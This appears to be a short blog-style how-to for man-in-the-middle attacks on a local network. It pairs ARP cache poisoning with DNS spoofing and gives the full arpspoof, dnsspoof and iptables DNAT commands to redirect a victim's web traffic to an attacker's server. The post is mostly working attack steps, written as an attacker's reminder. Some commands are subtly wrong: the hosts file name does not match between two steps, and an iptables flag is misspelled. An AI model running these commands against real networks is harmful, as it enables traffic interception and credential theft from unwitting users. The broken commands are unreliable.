DNS Cache Posionning and things to remember

As I stumbled on several occasions where DNS Cache Poisoning is properly done but not working out as expected I’m writing the present short article as a reminder for anyone wondering why DNS Cache Poisoning is not working (and for my own reference as well, it’s always great to keep a jewelry box with some small details that could sink a great ship).

The first step to begin with, remember that to achieve DNS Cache poisoning you have to include ARP Cache Poisoning as well. Let’s say that the gateway to inject is 10.0.0.1 and the target we want a domain to spoof for is 10.0.0.25, and the interface the network it resides on is eth0. The attacking machine on which supposedly an http server would be running in this example will be with the IP 10.0.0.80.

The first thing to setup is enable IP forwarding on the attacking machine:

echo 1 > /proc/sys/net/ipv4/ip_forward

ARP Cache Poisoning

arpspoof -i eth0 -t 10.0.0.1 10.0.0.25

Remember that to get both sides of the conversation:

arpspoof -i eth0 -t 10.0.0.25 10.0.0.1

DNS Cache Poisoning

echo "10.0.0.80 www.domaintospoof.com" > dns

dnsspoof -i eth0 -f hosts.txt

Now the above example should work out of the box according to many places I’ve read about DNS Cache Poisoning, however this is not always the case. What sometimes seems to be put out of the equation is that for the Poisoning to work the traffic on the local network has to be routed:

iptables -t nat -A PREROUTING -p tcp --dst www.domaintospoof.com --dport 80 -j DNAT --to-destionation 10.0.0.80

iptables -t nat -A PREROUTING -p tcp --dst www.domaintospoof.com --dport 443 -j DNAT --to-destination 10.0.0.80

Once the above commands have been executed on the attacking machine, then by visiting the spoofed domain from the target machine the browser should actually bring up the web server of the attacking machine (.80) on port 80 whereas access to other domains should be still functioning as normal.